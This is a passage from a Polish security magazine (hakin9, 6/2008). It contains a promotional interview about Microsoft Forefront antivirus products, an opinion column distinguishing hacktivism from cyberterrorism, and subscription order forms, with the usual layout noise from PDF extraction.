korporacji szacuje się na ponad miliard dolarów.

Eddie Schwartz 

CISP, CISA, jest szefem bezpieczeństwa korporacji 

NetWitness, lidera rynku systemów monitoringu następnej 

generacji. Ma za sobą 25 lat doświadczeń w dziedzinie 

bezpieczeństwa i zarządzania bezpieczeństwem 

w organizacjach finansowych i rządowych Stanów 

Zjednoczonych. Swoją wiedzę koncentruje na 

poszukiwaniu nowoczesnych metod incident response.

Przemysław Krejza

 dyrektor ds. badań i rozwoju w Mediarecovery, 

największej polskiej firmie świadczącej profesjonalne 

usługi informatyki śledczej (computer forensics). Prawnik, 

informatyk. Wcześniej 8 lat na stanowisku zarządzania 

działem odzyskiwania danych w firmie Ontrack. Autor 

publikacji na tematy związane z informatyką śledczą 

i odzyskiwaniem danych. Prelegent wielu konferencji i 

seminariów.

Kontakt z autorem: biuro@mediarecovery.pl

R

E

K

L

A

M

A

background image

74

 

WYWIAD

HAKIN9 6/2008

ROZMOWA Z ELŻBIETĄ STOJEK

75

 

HAKIN9 

6/2008

h9: Czy zajmuje się Pani teraz jakimś 
większym projektem, jeśli tak – to 
jakim?
E.S.: Ponieważ klient jest z reguły duży, 
zajmuję się cały czas dużymi projektami 
– przy czym dzielą się one na dwa 
rodzaje: tam, gdzie bezpieczeństwo IT 
jest nieodzownym elementem złożonego 
rozwiązania oraz tam, gdzie projekt 
całkowicie opiera się o produkty i usługi 
związane tylko z bezpieczeństwem. 
Osobiście preferuję uczestniczenie w 
projektach traktujących temat całościowo, 
np. bezpieczna komunikacja, bezpieczny 
obrót dokumentami, bezpieczny zdalny 
dostęp pracowników mobilnych itp. Takie 
podejście gwarantuje kompleksowe 
rozwiązanie problemu klienta i dostarczenie 
pełnowartościowego rozwiązania 
pochodzącego od jednego producenta. 
Temat bezpieczeństwa jest na tyle szeroki, 
że jest zawsze sporo do zrobienia i to 
nawet u klientów, którzy zarzekają się, że 
są bezpieczni, gdyż w zeszłym roku wydali 
na technologię dużą część budżetu – ale 
przecież wiadomo, że zagrożenia rozwijają 
się każdego dnia.

h9: Chciałabym zapytać o technologię 
Microsoft Forefront Security: jak idą 
prace rozwojowe, czego można się 
spodziewać?

E.S.: Microsoft bardzo intensywnie 
inwestuje i rozwija zabezpieczenia 
swoich produktów od dłuższego 
czasu. Inwestycje te możemy podzielić 
na trzy rodzaje. Po pierwsze, jest to 
doskonalenie produktów samych w 
sobie – zgodnie z inicjatywą Trustworthy 
Computing
 (ogłoszoną przez Billa 
Gatesa w styczniu 2002 roku) oraz 
po wprowadzeniu w życie nowych 
zasad tworzenia oprogramowania 
(Security Development Lifecycle), każde 
z rozwiązań powstaje w zgodzie z 
ściśle określonym harmonogramem 
prac, gdzie bardzo ważnymi etapami 
są projektowanie produktu, pisanie 
bezpiecznego kodu, wewnętrzne i 
publiczne testowanie rozwiązania 
oraz wsparcie przez jednostkę 
Microsoft Security Response Center
po premierze produktu. Wynikiem 
tego postępowania jest między innymi 
spadek liczby poprawek bezpieczeństwa 
i funkcjonalnych, dotyczących nowych 
systemów i aplikacji, w porównaniu 
z ich liczbą dla poprzednich wersji 
oprogramowania. Każde z działań 
zespołów deweloperskich jest dokładnie 
monitorowane i analizowane, dzięki 
takiemu postępowaniu Windows Vista 
został uznany za najbezpieczniejszy z 
systemów Microsoft. Kolejnym krokiem 

hakin9: Czym się Pani zajmuje w MS?
Elżbieta Stojek: W firmie Microsoft zajmuję 
się przede wszystkim prowadzeniem i 
wsparciem różnych działań związanych z 
promowaniem rozwiązań bezpieczeństwa, 
jakie oferuje Microsoft do uzupełnienia 
ochrony infrastruktury informatycznej. Pełnię 
rolę doradcy dla kluczowych Klientów i 
Partnerów firmy.

h9: Jak długo pracuje Pani w MS?
E.S.: Staż mojej pracy wynosi dwa lata, 
jednak chciałabym podkreślić, że już 
wcześniej przez okres kilku lat byłam 
związana z technologią Microsoft, jak 
również innych producentów zajmujących 
się bezpieczeństwem informatycznym

h9: Jak układa się Pani współpraca z MS?
E.S.: Współpraca od samego początku 
układała się tak, jak powinna dla obu 
stron, a praca daje mi satysfakcję, co 
jest najważniejsze. Firma oferuje duże 
możliwości rozwoju i kształcenia się w 
Polsce oraz za granicą. Microsoft to 
przede wszystkim międzynarodowa 
społeczność ludzi posiadających 
wiedzę oraz doświadczenie, pracujących 
w różnych kulturach i, co ważne w 
dzisiejszych czasach – ludzi działających 
z pasją, ja czuję się w tej społeczności 
bardzo dobrze.

Bezpieczeństwo 

przede wszystkim

Moja historia z bezpieczeństwem informatycznym zaczęła się kilka lat temu, kiedy na 

Uniwersytecie Wrocławskim miałam okazję zajmować się genetyką „in silico” i wtedy 

– oprócz algorytmów genetycznych czy sztucznej inteligencji – zaczęłam powoli 

angażować się w tematy zabezpieczeń sieci. Kilka lat pracy w sektorze IT pozwoliło 

mi na podejmowanie kolejnych wyzwań związanych z tą tematyką i zdobywanie 

doświadczenia, a jakiś czas temu podjęłam decyzję o współpracy z firmą Microsoft. 

background image

74

 

WYWIAD

HAKIN9 6/2008

ROZMOWA Z ELŻBIETĄ STOJEK

75

 

HAKIN9 

6/2008

na ścieżce bezpieczeństwa było 
wprowadzenie przez firmę około dwa 
lata temu rodziny rozwiązań Forefront 
Security dla zapewnienia zintegrowanej 
ochrony infrastruktury opartej o systemy 
Microsoft. Wśród tych produktów 
znajdują się rozwiązania antywirusowe 
i antyspyware dla stacji roboczych, 
laptopów i serwerów plików, a także 
rozwiązania antywirusowe, antyspam 
i filtrowania treści dla serwerów 
aplikacyjnych oraz produkty do ochrony 
styku z Internetem – takie, jak brama 
bezpieczeństwa czy SSL VPN. Olbrzymim 
plusem tych rozwiązań jest wykorzystanie 
sprawdzonej już technologii, którą 
firma pozyskała od Partnerów, a 
także bardzo dobra integracja z 
systemami Microsoft i usługami 
Active Directory. Jako trzeci przykład 
działań rozwojowych firmy można 
podać pozyskiwanie strategicznych 
Partnerów i współpracę z ekspertami z 
dziedziny bezpieczeństwa IT oraz czynne 
członkostwo w organizacjach rządowych 
i pozarządowych odpowiedzialnych za 
zwalczanie zagrożeń internetowych.

W przypadku wszystkich naszych 

rozwiązań Forefront – można pobrać 
wersje pełne z kluczem testowym 
na okres 30 lub 120 dni. Wszystkie 
rozwiązania są dostępne na stronie 
www.microsoft.com/forefront. Na 
powyższej stronie znajdują się 
również gotowe środowiska wirtualne, 
które można testować bez potrzeby 
przygotowywania laboratorium.

h9: Jakie są zagrożenia płynące z tej 
technologii?
E.S.: Zapytałabym raczej, jaka jest przewaga 
konkurencyjna nad innymi technologiami. 
Rozwiązania bezpieczeństwa mają 
służyć bezpieczeństwu, a nie stanowić 
zagrożenie. Microsoft przygotował produkty 
bezpieczeństwa dla własnych rozwiązań 
systemowych i aplikacyjnych, przewagą 
będzie na pewno skuteczność, prostota 
użytkowania i jeszcze raz integracja z 
pozostałymi naszymi narzędziami. Wielu 
klientów może dostrzec również zaletę 
w zakupie całej platformy od jednego 
producenta.

h9: W jaki sposób jest realizowany 
proces skanowania przez więcej niż 

jeden program antywirusowy, czy 
nie występują konflikty (sytuacje, 
w których dwa programy próbują 
odwołać się do tego samego 
dokumentu)?
E.S.: W przypadku ochrony serwerów 
aplikacyjnych program antywirusowy 
jest jeden, natomiast skanerów 
w niego wbudowanych jest kilka i 
pochodzą one od różnych dostawców 
systemów antywirusowych. Skanery 
mogą działać w tym samym 
czasie, skanować wielowątkowo 
i w zaalokowanej wcześniej pamięci 
serwera. Rozwiązanie takie nie 
powoduje opóźnień wynikających z 
oczekiwania na aktualizację lub naprawę 
skanera, gdyż zawsze któryś z silników 
antywirusowych działa i przeprowadza 
proces skanowania na bieżąco, 
bez przetrzymywania dokumentów i 
wiadomości na serwerze.

h9: Jak wiemy, w bazach danych 
można umieszczać także odwołania 
do zewnętrznych linków, grafikę – czy 
systemy skanujące sprawdzają także 
inne formaty plików niż Word?
E.S.: Rozwiązania Forefront skanują i 
przeszukują dokumenty pod kątem 
słów kluczowych, fraz czy dokumentów 
zagnieżdżonych w większości dokumentów 
Office, w formacie Open XML, 
spakowanych czy zaszyfrowanych RMS, 
a także umożliwiają blokowanie plików 

typu .exe.mp3 i innych o popularnych 
rozszerzeniach.

h9: Kto dostarcza oprogramowanie 
antywirusowe do tej technologii, 
czy użytkownik może skorzystać z 
każdego programu dostępnego na 
rynku?
E.S.: W przypadku ochrony stacji 
roboczych, serwerów plików i laptopów 
Microsoft oferuje pojedynczy własny 
skaner antywirusowy i antyspyware 
oraz skaner wykrywania podatności 
systemów, natomiast dla ochrony 
serwerów aplikacyjnych udostępniamy 
pakiet rozwiązań – połączenie 
ośmiu różnych technologii znanych 
producentów – Microsoft, Kaspersky, 
Sophos, Virus Buster, Norman, AhnLab, 
Authentium i CA. Administrator ma 
pełną dowolność w wybraniu zestawu 
skanerów, które będą działać w 
danym punkcie sieci. Dodam jeszcze, 
że wszystkie nasze rozwiązania są 
certyfikowane i sprawdzone pod 
względem jakości i wydajności przez 
niezależne laboratoria. Wyniki testów 
można między innymi porównać na 
Virus Bulletin lub AV-test.org.

h9: W jaki sposób ta technologia wpływa 
na pracę serwera,? Sytuacja jest w miarę 
jasna, jeśli sieć opiera się o strukturę 
LAN, ale w przypadku dużych oddziałów, 
podzielenia bazy dokumentów na różne 

background image

76

 

WYWIAD

HAKIN9 6/2008

lokalizacje (a systemy te tworzą zapytania 
SQL, przeszukują bazy danych) – jaki 
procent ruchu w sieci generowany jest w 
wyniku działania tych aplikacji?
E.S.: Obciążenia są dwojakiego rodzaju 
i są albo generowane przez sam 
program pracujący na serwerze lub 
stacji, albo też są to obciążenia sieci i 
wiążą się one z pobieraniem aktualizacji 
i wysyłaniem wiadomości o zdarzeniach. 
W przypadku rozwiązania Microsoft 
Forefront for Exchange, program nie 
tylko pozwala na zaoszczędzenie 
wydajności poprzez pracę wielowątkową 
i w pamięci serwera, ale również 
umożliwia znakowanie wiadomości 
pocztowych stemplem antywirusowym 
w ten sposób, że każdy kolejny serwer 
pocztowy występujący w organizacji 
rozpoznaje stempel i w związku z 
tym, że wiadomość jest czysta, nie 
musi powielać procesu skanowania. 
Oprócz tego zmienione zostały zasady 
skanowania w tle dla serwerów 
Exchange Mailbox i możliwe jest 
skanowanie wybiórcze – wybranej 
grupy wiadomości. Klienci zazwyczaj 
nas pytają, czy produkt Microsoftu nie 
obciąża serwerów, jeśli pozwalamy 
na jednoczesne uruchomienie kilku 
skanerów na jednej maszynie. W tym 
przypadku obciążenie zależy również 
od wydajności samej maszyny oraz 
złożoności systemu pocztowego i przy 
dodawaniu kolejnych skanerów wzrasta 
w niewielkim stopniu. Jeśli spadek 
wydajności jest nie do zaakceptowania, 
administrator zawsze może zmniejszyć 

liczbę skanerów np. do 2 na serwerze 
Mailbox przy pozostawieniu 5 
na serwerze Edge. W przypadku 
stacji roboczych, agent programu 
antywirusowego jest transparentny dla 
użytkownika końcowego, a wymagania 
sprzętowe są podobne, jak dla 
systemu operacyjnego. Skanowanie na 
stacji roboczej powoduje minimalne 
obciążenie systemu i jest niezauważalne 
dla użytkownika końcowego. System 
Forefront Client Security aktualizuje 
się z WSUSa lub z Microsoft Update 
i pobiera aktualizacje różnego typu i 
różnej wielkości (od kilkunastu kb do 
kilkudziesięciu Mb), w zależności od 
dnia miesiąca. Uaktualnienia możemy 
dostarczyć w różnych godzinach przy 
wykorzystaniu pozostałych narzędzi 
zarządzania Microsoft.

h9: Co kryje się pod nazwą 
kompleksowa linia produktów?
E.S.: Jest to bardzo szerokie pojęcie, 
którego podstawę stanowi cała 
linia systemów Windows wraz z 
rozwiązaniami do ich zabezpieczeń, 
czyli wszystkimi produktami Forefront 
Server (ochrona Exchange i SharePoint), 
Client (ochrona stacji roboczych i 
serwerów), Edge (ochrona styku sieci 
i zabezpieczenie zdalnego dostępu) a 
także usługami ochrony antywirusowej 
i antyspam świadczonymi przez 
Microsoft – Exchange Hosted Services, 
oprogramowaniem do ochrony danych 
RMS oraz narzędziami do zarządzania i 
monitorowania sieci – Microsoft System 
Center. Z tymi produktami ściśle wiążą 
się również narzędzia pozwalające na 
kontrolę i zarządzanie tożsamościami 
użytkowników.

h9: Strategia Defense in Depth – może 
Pani przytoczyć technologie z nią 
związane?
E.S.: W przypadku Microsoft jest to 
wszystko, co wiąże się z ochroną 
dogłębną i oprogramowaniem 
Windows, Forefront, System Center. 
Firma dostarcza rozwiązania 
do zarządzania tożsamościami 
użytkowników, szyfrowania dokumentów, 
zabezpieczenia przed złośliwym 
oprogramowaniem i włamaniami dla 
różnych segmentów sieci, jak również 

narzędzia do backupu, zarządzania i 
monitorowania środowiska IT.

h9: W jaki sposób MS postrzega 
środowisko specjalistów IT?
E.S.: Środowisko specjalistów IT jest 
dla firmy bardzo ważne i pomocne 
w tworzeniu oraz rozwoju rozwiązań. 
Microsoft organizuje i uczestniczy w 
społecznościach użytkowników systemów 
i ekspertów technologii. Dochodzi do 
ciągłej dyskusji i wymiany informacji 
na spotkaniach, forach i portalach. 
Przykładem jest portal społeczności 
Windows – www.wss.pl

h9: Jakie akcje dla specjalistów IT 
Państwo przeprowadzają?
E.S.: Akcje, jakie firma przeprowadza, 
skierowane są do specjalistów IT 
zatrudnionych u naszych Klientów i 
Partnerów. Są to kampanie i inicjatywy 
różnego typu. Inżynierowie mogą 
zazwyczaj wcześniej uczestniczyć 
w testach rozwiązań Microsoft lub 
programach wczesnej adaptacji 
oprogramowania. Organizujemy też 
wspólne konferencje, seminaria i dyskusje 
poświęcone produktom Microsoft. 
Staramy się rozwijać wiedzę i umiejętności 
naszych Partnerów poprzez dostarczanie 
szkoleń lub rozwijanie kompetencji, np. 
dzięki inicjatywie skills builder. Poza tym na 
naszych witrynach można znaleźć dużo 
bezpłatnych szkoleń oraz poradników.

h9: Jak Microsoft ocenia hakin9 jako 
medium umożliwiające dotarcie do 
specjalistów IT?
E.S.: Hakin9 jako chyba jedyne pismo 
na rynku ma możliwość dotarcia do 
szerokiego grona zainteresowanych 
osób. Myślę, że jest to dobry sposób 
na dostarczenie informacji ludziom 
pracującym z technologiami 
informatycznymi i zmianę ich zdania 
lub rozpoczęcie dyskusji na temat 
technologii Microsoft, która na 
przełomie kliku ostatnich lat obrała inny 
kierunek, jeśli chodzi o postrzeganie 
bezpieczeństwa (patrz Trusthworhy 
Computing
) i dostarczanie bezpiecznych 
usług i produktów.

h9: Dziękuję za rozmowę
E.S.: Dziękuję

background image

ROZMOWA Z ELŻBIETĄ STOJEK

77

 

HAKIN9 

6/2008

background image

FELIETON

78

 

HAKIN9 6/2008

79

 

HAKIN9 

6/2008

Aktywny terror 

hackingu

– podobnie, jak hacker jest identyfikowany z 
crackerem czy script kiddie. Czy na pewno? 
Hacktywizm w czystej formie posiada 
jedną mocną stronę – jest popierany przez 
bardzo istotną część społeczeństwa (oprócz 
tej, w którą jest wymierzony), dla której cel 
manifestacji jest szczytny – nawet, jeśli 
sposób jej przeprowadzenia wiąże się z 
mniejszym lub większym nagięciem prawa. 
Przykładem tutaj mogą być: podmiany 
stron WWW w proteście przeciwko próbom 
nuklearnym czy włamywanie się do 
systemów providerów internetowych w celu 
pełnej identyfikacji osób podejrzanych o 
pedofilię. Czyny te są popierane, ponieważ 
są zbieżne z wartościami protestu 
obywatelskiego, w świecie, gdzie hacktywiści 
wypowiedzieli wojnę totalitarnym reżimom 
i państwom, w których łamie się wolność 
słowa. Hacktywizm w swym założeniu ma 
na celu zwrócenie uwagi całego globu na 
problemy ograniczające lub niszczące życie 

ludzkie. Spotykamy się z nim w miejscach, 
gdzie nie pozwala się ludziom normalnie 
żyć, swobodnie rozmawiać, poruszać 
czy wyrażać własnych myśli. Tam, gdzie 
blokowany jest dostęp do alternatywnych 
źródeł informacji, serwisów internetowych, 
kontaktów z opozycją. Sytuacja diametralnie 
się zmienia, kiedy powstają grupy będące 
na utrzymaniu agencji rządowych, którym 
dyktowane jest pojęcie dobra. Sama 
sytuacja, w której nad grupą hackerów 
stoi ktoś ponad, nie wiąże się z sednem 
ich ideologii. Josh Corman, główny strateg 
bezpieczeństwa firmy IBM, zauważył pewną 
prawidłowość – hacking robi się polityczny. 
Na początku w hackingu chodziło o prestiż. 
Później, gdy na rynku usług informatycznych 
wykształciła się luka i zaczęło powstawać 
wiele firm oferujących usługi związane 
z testowaniem zabezpieczeń i procedur 
bezpieczeństwa w organizacjach – chodziło 
już o prestiż oraz profit. Dzisiaj kryminalni 

G

wałtowna ekspansja e-komercji za 
pośrednictwem Internetu dała nowe 
możliwości ingerowania w kwestie 

publiczne z pomocą nowego medium dla 
własnych korzyści politycznych. By zrozumieć 
problem, musimy najpierw spojrzeć na Sieć 
jako alternatywę dla wolnych mediów, gdzie 
każdy może wypowiedzieć się na temat 
polityki rządu, decyzji biznesowych, a nawet 
prowadzonych wojen i projektów z nimi 
związanych. I nie mam tu na myśli wyrażania 
swoich opinii na blogach i zbierania 
podpisów pod elektronicznymi petycjami. 
Chodzi o czystą formę hacktywizmu – 
atakowania / włamywania się do systemów 
komputerowych, zazwyczaj innych rządów, 
dla celów politycznych, w której działacze 
spodziewają się, że ich wiadomość dotrze 
do adresata, nie omijając opinii publicznej. 
Praktyka ta w ostatnich latach przekształca 
się w naprawdę potężne narzędzie wpływu 
na opinię publiczną. Należy przypomnieć, 
że hacktywizm (połączenie dwóch słów: 
hack i aktywizm) w swoim założeniu jest 
akcją mającą na celu zwrócenie uwagi 
opinii publicznej na określony problem 
społeczny bądź polityczny. W takim razie, 
gdzie kończy się hacktywizm, a zaczyna 
cyberterroryzm? Dla jednych hacktywizm 
jest przecież przejawem obrony uciśnionych, 
dla drugich terroryzmem. Dla niektórych 
pseudoekspertów to jedno i to samo 

Aktywiści podczas swoich wystąpień wycierają buty na chodnikach przed siedzibami 

wielu organizacji rządowych, zarzucając je różnymi hasłami politycznymi, podczas gdy 

inni wycierają opuszki palców na klawiaturach, zarzucając serwer zapytaniami w celu 

jego całkowitego obciążenia. Obydwie te czynności są przejawem form oficjalnego 

protestu i politycznego aktywizmu, ale jedna z nich stoi przed, a druga – za literą prawa. 

Patryk Krawaczyński jest studentem Informacji Naukowej 

na Uniwersytecie Mikołaja Kopernika w Toruniu. W wolnych 

chwilach stara się prowadzić serwis na temat administracji 

oraz podstawowych mechanizmów bezpieczeństwa systemu 

operacyjnego Linux – www.nfsec.pl. Jego zainteresowania 

wiążą się także z ogólnymi zjawiskami zachodzącymi 

w społeczeństwie, na które oddziałują Technologie 

Informacyjne. 

Kontakt z autorem: agresor@nfsec.pl

background image

FELIETON

78

 

HAKIN9 6/2008

79

 

HAKIN9 

6/2008

hackerzy wyznają regułę trzech P– 3xP 
– Prestiż, Profit, Polityka. Prestiż w środowisku 
czarnych kapeluszy. Profit z wykonywanych 
usług. Polityczne wsparcie ze strony 
rządu lub motywacja będąca świetną 
wymówką do przeprowadzenia ataku. 
Inteligentny hacker, pozbawiony kręgosłupa 
moralnego, będący w stanie wyrządzić 
szkody, o jakich pomarzyć mogą tylko 
tradycyjni agenci, sabotażyści czy szpiedzy, 
posiadający rządowe wsparcie materialne, 
technologiczne, a także najważniejsze 
– ideologiczne – w swojej ślepej wierze widzi 
tylko dokonywanie zadań dla swojego kraju. 
Podobnie jest w sytuacji, w której różne grupy 
oferujące wynajęcie swoich botnetów nie 
przywiązują zbytniej wagi do celu ataku. Dla 
nich liczy się tylko profit z wykonanej pracy. 
W tej formie otrzymujemy cyberterroryzm 
pod świadomą kontrolą. Jest on nastawiony 
wyłącznie na osiąganie prywatnych celów 
– bez żadnych pozytywnych skutków 
dla ogółu. Aby atak można było nazwać 
cyberterrorystycznym, powinien on być 
skierowany przeciw konkretnym osobom 
lub strukturom – wymierzony przeciw 
elektronicznym zasobom kontrolującym w 
dużym stopniu infrastrukturę gospodarczą 
danego kraju. Wiele bowiem zasobów 
informatycznych związanych z krytycznymi 
infrastrukturami, niezbędnymi do życia w 
państwie, jest dostępnych poprzez Sieć, a 
przejęcie kontroli nad nimi jest głównym 
celem cyberterrorystów. W dodatku 
– w przeciwieństwie do hacktywizmu 
– cyberterroryzm nie zwraca uwagi 
opinii publicznej na ważny problem 
społeczny czy polityczny, lecz wymusza na 
społeczeństwie z góry narzucone działania. 
Stanowi to doskonały wyróżnik pomiędzy 
opisywanymi zjawiskami. Kontrast jest tym 
większy, że działania hacktywistów nie 
powodują ponadto szkód wywołujących 
strach czy śmierć, z kolei pod groźbą 
których ataki cyberterrorystyczne odnoszą 
swoje zamierzone skutki. Także aspekt 
przekazywania globalnej informacji nie 
może być mylony z aktywnością mającą 
na celu zniszczenie czy zakłócanie. Ryzyko 
cyberterroryzmu w społeczeństwie zwiększa 
się wraz ze wzrostem znaczenia technologii 
w naszym życiu. Dostęp do różnego 
rodzaju baz danych czy blokada systemów 
komunikacyjnych skutecznie paraliżują 
działania poszczególnych instytucji, a w 
wymiarze masowym – nawet państwa.

W naszych dywagacjach dążymy 

do uzyskania wyraźnego podziału na: 
aktywizm (będący jedynie przejawem 
aktywności politycznej, prowadzonej za 
pomocą Internetu), hacktywizm (wcześniej 
wspomniane połączenie aktywizmu, 
propagowania idei i technik używanych 
przez hakerów), cyberterroryzm (destrukcyjne 
działania motywowane politycznie, 
skierowane przeciw nieagresywnym celom), 
a także cyberprzestępczość, szpiegostwo 

gospodarcze czy wojny informacyjne 
(cyberwojny) – ponieważ te trzy ostatnie 
rządzą się swoimi własnymi prawami. 
Wszystko zależy od motywu działania oraz 
profitu, jaki chcemy poprzez te działania 
osiągnąć. Nie zmienia to także faktu, że we 
wszystkich wymienionych zjawiskach to 
komputer odgrywa zasadniczą rolę narzędzia 
aktywności kryminalnej. Dlatego, próbując 
dokonać rzeczywistego wyodrębnienia 
wyżej podanych definicji, musimy dokładnie 

wiedzieć, co było motywem działania, jakie 
korzyści zostały osiągnięte, a także – czy 
komputer był narzędziem umożliwiającym 
popełnienie przestępstwa, celem 
popełnienia przestępstwa, czy może pełnił 
funkcję incydentalną w trakcie popełniania 
przestępstwa. We wszystkich możliwych 
konfiguracjach tych czynników otrzymujemy 
bowiem różnorakie definicje czynności 
wykonywanych przez ludzi ukierunkowujących 
swoje działania na cyberprzestrzeń.

A co z nami? Żyjemy w czasach, w 

których informacja jest najważniejszym 
towarem dla społeczeństwa. Jej 
niematerialna wartość staje się bezcenna w 
porównaniu z materialnymi przedmiotami. 
Czy każdy z nas może być w jakimś 
stopniu hacktywistą? Otoczeni szumem 
informacyjnym i labiryntem reklam, musimy 
przedzierać się przez niezachwiany monopol 
mediów, ukierunkowany wyznaniami 
prezesów. Na szczęście Internet w swojej 
budowie rozbija całkowicie dystrybucję 
tylko wybranych treści. Każdy z nas może 
przełamać szarą rzeczywistość poprzez 
szerzenie treści właściwych ze swojego 
punktu widzenia. Łatwość, z jaką można 
prezentować swoje poglądy sprawia, iż 
zaburzony został paradygmat mediów oparty 
na schemacie nadawca – odbiorca. Teraz 
my – jako poszczególne jednostki – możemy 
uczestniczyć w procesach społeczno 
– politycznych naszego kraju, a nawet świata. 
Dzięki globalnej Sieci oraz funkcjonującym 
technologiom stajemy się aktywnymi 
odkrywcami, gotowymi do przeprowadzania 
analiz teraźniejszej i kreowaniu nowej 
rzeczywistości. Sami możemy promować 
różnorakie idee polityczne i społeczne. Bronić 
wolności przekonań swoich, a także innych 
osób. Bez nacisków i tyranii swobodnie 
obserwować procesy zachodzące wokół 
nas oraz dostrzegać występujące w 
nich nieprawidłowości, pomagać innym 
w dostępie do alternatywnych źródeł 
informacji. Oczywiście, możemy stać się 
także w jakimś stopniu cyberterrorystami 
– wraz ze zorganizowaną grupą publikować 
wygodne dla nas informacje na serwisach 
społecznościowych, a nie dopuszczać tych, 
które nie godzą się z naszymi przekonaniami. 
Być głuchymi na zdanie innych, zamknięci w 
swoim świecie pełnym nienawiści. Naturalnie 
– wszystko to zależy od nas samych, bo 
terrorem byłoby też dyktowanie, którą drogę 
należy wybrać. 

"Cyberprzestrzeń staje 

się coraz bardziej 

skomplikowana, a 

swoich zjawiskach mniej 

przejrzysta i trudniejsza 

do przyswojenia. 

Jako społeczeństwo 

informacyjne 

generujemy nowe 

wyzwania i zagrożenia 

bezpieczeństwa, wśród 

których zdecydowanie 

najniebezpieczniejszy 

jest cyberterroryzm, 

wymagający odgórnej 

ochrony kluczowych 

działów gospodarki, 

którą może zapewnić 

tylko państwo." Czy 

umieszczenie takiego 

wpisu na podmienionej 

stronie rządu wskazywało 

by na przejaw 

hacktywizmu?

background image

Kontakt 

1. Telefon

+48 22 427 36 93

+48 22 427 36 79

+48 22 427 36 53

2. Fax

+48 22 244 24 59

2. Online

pren@software.com.pl

3. Adres

Bokserska 1

02-682 Warszawa

Polska

Roczna prenumerata

      

tylko

219

 

hakin9 – jak się obronić to ukazujący się w dwudziestu 
czterech krajach Europy magazyn o bezpieczeństwie. 
hakin9 porusza sprawy związane z bezpieczeństwem sys-
temów informatycznych – rozpatrywane zarówno od stro-
ny osoby naruszającej bezpieczeństwo, jak i osoby, która 
bezpieczeństwo zapewnia. Radzimy jak skutecznie zabez-
pieczyć system przed hakerami i wszelkimi innymi zagro-
żeniami, oprowadzamy Czytelników po tajnikach najpopu-
larniejszych programów antywirusowych, systemów wy-
krywania włamań, narzędziach, których potrzebuje każdy 
administrator. 

,-

background image

Zamówienie prenumeraty

Imię i nazwisko ...............................................................................

Nazwa firmy.....................................................................................

Dokładny adres ..............................................................................

.........................................................................................................

Telefon ............................................................................................

E–mail .............................................................................................

ID kontrahenta ................................................................................

Numer NIP firmy .............................................................................

Fax (wraz z nr kierunkowym) .........................................................

Prosimy wypełniać czytelnie i przesyłać faksem na numer: 
00 48 22 244 24 59
lub listownie na adres: 
Software-Wydawnictwo Sp. z o. o.
ul. Bokserska 1
02-682 Warszawa
Polska
E-Mail: 

pren@software.com.pl

Przyjmujemy też zamównienia telefoniczne:
0048 22 427 36 93
0048 22 427 36 79
0048 22 427 36 53

Jeżeli chcesz zapłacić kartą kredytową, 
wejdź na stronę naszego sklepu internetowego 

www.buyitpress.com.

Prenumerujesz 

– zyskujesz

l

 

oszczędność

     pieniędzy 

l

 

szybka dostawa 

l

 

prezenty

l

 

bezpieczna płatność 

     ność on–line

Tytuł

Ilość

nume-

rów

Ilość

 zama-

wianych 

prenume-

rat

Od 

numeru 

pisma 

lub mie-

siąca

Cena

hakin9, jak się obronić 
(1 płyta CD)
Miesięcznik o 
bezpieczeństwie
i hakingu 

11

199*/

219

PLN

�  automatyczne przedłużenie prenumeraty

*  cena prenumeraty rocznej dla osób prywatnych

Zadzwoń

+48 22 427 36 93

lub

zamów

mailowo!

background image
background image

Document Outline